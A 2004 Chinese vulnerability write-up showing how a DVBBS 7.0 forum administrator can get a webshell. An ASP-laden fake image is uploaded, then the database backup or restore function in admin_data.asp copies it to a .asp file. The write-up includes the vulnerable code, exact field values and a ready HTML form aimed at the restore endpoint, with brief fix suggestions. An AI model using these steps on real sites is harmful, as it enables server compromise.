本文作者:angel
文章性质:原创
发布日期:2004-06-27 
发现:Super·Hei 
分析:angel 
环境/讨论:xiaolu 
起哄:knife

前言

  Super·Hei和我提起《Backup a shell》这篇文章,就和我说,按照这个文章的方法,有没有办法拿到动网论坛上利用,因为DVBBS7.0即使设置允许上传asp文件,实际上也是无法上传的,既然能够去后台设置允许上传文件类型,那何不利用这个方法去备份一个WebShell,我们发帖子写入特制的WebShell的代码,然后备份一下,不就有WebShell了吗?那能不能用到ACCESS数据库里?实验证明这个是不可行的,但是Super·Hei又告诉我另外一个方法,由于他要考试,所以由我来分析并写出来,我转行PHP很久了,所以这次分析DVBBS可能有不足的地方,还请各位高手赐教。

注意:如何进入后台,不是本文讨论范围,局限就在这,靠大家自己发挥了。

ACCESS版的分析

  首先我们看看admin_data.asp文件的updata()函数:

sub

程序代码: [ 复制代码到剪贴板 ]
updata() 
Dbpath=request.form("Dbpath") 
Dbpath=server.mappath(Dbpath) 
bkfolder=request.form("bkfolder") 
bkdbname=request.form("bkdbname") 
Set Fso=server.createobject("scripting.filesystemobject") 
if fso.fileexists(dbpath) then 
If CheckDir(bkfolder) = True Then 
fso.copyfile dbpath,bkfolder& "/"& bkdbname 
else 
MakeNewsDir bkfolder 
fso.copyfile dbpath,bkfolder& "/"& bkdbname 
end if 
response.write "备份数据库成功,您备份的数据库路径为" &bkfolder& "/"& bkdbname 
Else 
response.write "找不到您所需要备份的文件。" 
End if 
end sub 

  上面的代码就是执行备份操作的函数,已经很易懂了,只要Dbpath存在,就直接把数据库复制到指定目录,可能开发者以为入侵者无法进入后台(万一骗来或监听到的呢),所以并不对这个地方进行检查,没有检查是否为真正的数据库,所以我们就可以利用这里复制我们上传的“图片”。

ACCESS版的利用

  我们在发帖那上传一个写有asp代码的假图片,然后记住其上传路径,比如UploadFile/2004-6/20046272411024.jpg,然后进入后台的“备份数据库”那,按照下面的格式填写:

  当前数据库路径(相对路径):UploadFile/2004-6/20046272411024.jpg 
  备份数据库目录(相对路径):随便找个目录 
  备份数据库名称(填写名称):改为webshell.asp

  然后提交就可以得到WebShell了。

SQL版的分析

  还是备份数据的地方,你别看这里教你如何用SQL企业管理器来操作,其实可利用的正在里面,不要被表面的现象蒙蔽了,我们看看admin_data.asp文件的以下代码:

程序代码: [ 复制代码到剪贴板 ]
case "RestoreData" '恢复数据 
admin_flag=",32," 
dim backpath 
if not Dvbbs.master or instr(","&session("flag")&",",admin_flag)=0 then 
Errmsg=ErrMsg + "<BR><li>本页面为管理员专用,请<a href=admin_index.asp target=_top>登录</a>后进入。<br><li>您没有管理本页面的权限。" 
dvbbs_error() 
else 
if request("act")="Restore" then 
Dbpath=request.form("Dbpath") 
backpath=request.form("backpath") 
if dbpath="" then 
response.write "请输入您要恢复成的数据库全名" 
else 
Dbpath=server.mappath(Dbpath) 
end if 
backpath=server.mappath(backpath)

Set Fso=server.createobject("scripting.filesystemobject") 
if fso.fileexists(dbpath) then 
fso.copyfile Dbpath,Backpath 
response.write "成功恢复数据!" 
else 
response.write "备份目录下并无您的备份文件!" 
end if 
else

call RestoreData() 
end if 
end if

  在后台没有用到这些代码,可以看出我们完全可以用像ACCESS的方法来利用,只是要从本地提交参数,因为Dbpath、backpath那两个变量是用request.form取值。照样没有检查文件类型,这个文件的很多代码在SQL版里都是多余!由此产生安全隐患。这个漏洞的原理和ACCESS版的一样,也就不多分析了。

SQL版的利用

  还是在发帖那上传一个写有asp代码的假图片,然后记住其上传路径,比如UploadFile/2004-6/20046272411024.jpg,写一个本地提交的表单,代码如下:

程序代码: [ 复制代码到剪贴板 ]
<form action="http:// [target_url]/admin_data.asp?action=RestoreData&act=Restore" method="post"> 
<p>已上传文件的位置:<input name="Dbpath" type="text" size="80"></p> 
<p>要复制到的位置:<input name="backpath" type="text" size="80"></p> 
<p><input type="submit" value="提交"></p> 
</form> 

  然后就把UploadFile/2004-6/20046272411024.jpg填在“已上传文件的位置”那里,想要在哪里搞个WebShell就把完整的相对路径填写在“要复制到的位置”那里,比如:images/angel.asp提交就得到我们可爱的WebShell了,

解决方案

  由于我放开ASP转向PHP很久了,所以不能提供很好的解决方案,只能给出个思路,由于利用局限比较大,所以大家如果不会修补,可以等官方的补丁出来。

  针对ACCESS版的,可以对要备份的文件进行格式检查或内容检查,看是否为ASCII文件,再执行操作。 
  针对SQL版的,可以把那些毫无作用的代码去掉,只留个说明好了。

后记

  感谢Super·Hei提出他ACCESS版的思路,我才得以分析,感谢xiaolu提供两个版本的论坛供我分析测试,并参与SQL版的讨论,本文版权由Bugkidz和Security Angel两个安全组织共同所有。转载请注明!

动网论坛7.0获得WebShell的分析相关推荐

  1. 动网php_动网论坛PHP增强版(动网论坛PHP2.0++官方下载)V2.0官方版下载 - 下载吧...

    开拓的力量,前进的方向,经历了一个冬的孕育,动网PHP2.0++正式版在我们团队的精心培养下,顺利与大家见面了.动网论坛PHP增强版此次正式版,一如既往的延续了PHP2.0++的创新功能,在新功能的基 ...

  2. 动网 php v1.0 漏洞,动网(DVBBS)PHP论坛preview.php代码执行漏洞

    影响版本: 动网论坛 (DVBBS) PHP 2.0++漏洞描述: 动网(DVBBS)论坛系统是一个采用PHP和MYSQL的数据架构的高性能网站论坛解决方案. 在文件preview.php中: req ...

  3. 动网论坛Ver 7.1.0 Sp1

    Dvbbs7.1.0 Sp1 产品主要更新内容,此下载已包含所有最新更新和所有原版文件 1.重整核心结构,采用成熟的缓存加载模式,能保持稳定的运行状态.缓存数据大部分采用XML模式,易于存取和管理.优 ...

  4. 动网 php v1.0 漏洞,动网论坛dispuser.php页面SQL注入漏洞

    受影响系统: 动网论坛 Dvbbs php 2.0++ 描述: DVBBS是一款Aspsky.Net开发和维护的开放源码ASP Web论坛程序. 在DVBBS的dispuser.php文件中: if( ...

  5. 利用动网论坛dvBBS漏洞上传webshell

    动网论坛一直是国内比较受欢迎的ASP论坛程序 前提是知道数据库地址,并且可下载,一般数据库默认地址为/data/dvbbs8.mdb 1.通过注入点获得网站的后台账号和密码,但没有找到后台登录地址 2 ...

  6. 启航,超越-动网论坛.NET 1.0正式版发布

    启航,超越-动网论坛.NET 1.0正式版发布 动网犹如一艘航船,在社区论坛这一无际的大海里,不停的向更深更广的领域使去.早在今年三月,我们宣布向.NET领域全方面进军,也同时宣布我们已经正式启航,这 ...

  7. 动网论坛dvbbs7.1.0 SP1由Access版升级到SQL版的具体说明(用于全新安装)

    动网论坛dvbbs7.1.0 SP1由Access版升级到SQL版的具体说明(用于全新安装) (2006.3.20整理) 一.环境要求: 操作系统:windows 2000 +sp4,并更新了最新的补 ...

  8. 自己去年用intraweb写的模仿动网论坛的原程序,用的是动网论坛的数据库

    自己去年用intraweb写的模仿动网论坛的原程序,用的是动网论坛的数据库 动网个人服务器系统1.0 可以在不安装iis的情况下,在win98,win2000,winxp跑动网论坛 使用时,只需将动网 ...

  9. 动网论坛新手详尽教程

    1.如何登陆后台: 用动网论坛的默认管理员帐号(admin, admin888)登陆,在上面的菜单中选择管理 输入管理员帐号密码就能登陆后台,进行你的论坛设置. 2.如何添加论坛管理员: 你首先要注册 ...

最新文章

  1. 分层PHP性能分析工具--xhprof
  2. 小博老师解析Java核心技术 ——JDBC数据库操作类封装
  3. 2800:垂直直方图
  4. 【Network Security!】密码攻击的原理和方法
  5. 大数据时代 我们还有隐私吗?
  6. Ubuntu系统启动错误问题的解决
  7. Java的深浅拷贝你了解吗?
  8. HashMap测试程序2
  9. flutter listview 滚动到指定位置_Flutter 布局原理及实战
  10. 北林oj-算法设计与分析-Line up in the canteen(两种解法,附思路)
  11. catch里面不想做任何处理_处理异常的三种健壮方式
  12. 自己的电脑netassist软件(其他上位机软件同理)建立的虚拟TCP服务器其他客户端连不上??但客户端能连接WiFi。
  13. 感染暴风一号u盘病毒的解决办法
  14. Java删除服务器上的文件
  15. java 日历_java的日历类(Calendar)详解
  16. php在线中文转英文,thinkphp页面的多语言切换,中文、英文之间的转换
  17. 无线移动通信技术快速发展历程和趋向(转)
  18. 对待员工的4个阶段:我如何让员工过好自己的一生?
  19. 火了,新东方年会吐槽视频《释放自我》:累死累活干不过写PPT的
  20. could not resolve dependency: npm err! peer react@“^16.8.0 || ^17.0.0“ from @material-ui/core@4.12.4

热门文章

  1. nessus安装及使用
  2. .Net发布到IIS服务器,IIS服务器配置
  3. android textview 显示表情和文字 表情带超链接
  4. UINO优诺:数字孪生可视化管理GIV,打造统览全局大视野
  5. 拥抱400GE新引擎,跨越新基建的时代龙门
  6. outlook使用笔记
  7. 【原创】网页全站下载器4.0黑色版,利用爬虫获取所有js、css、img!
  8. 访问局域网中的虚拟机(详细教程!)
  9. 阿里云服务器硬盘不够用怎么办?
  10. 嵌入式开发常用英语单词--你知多少?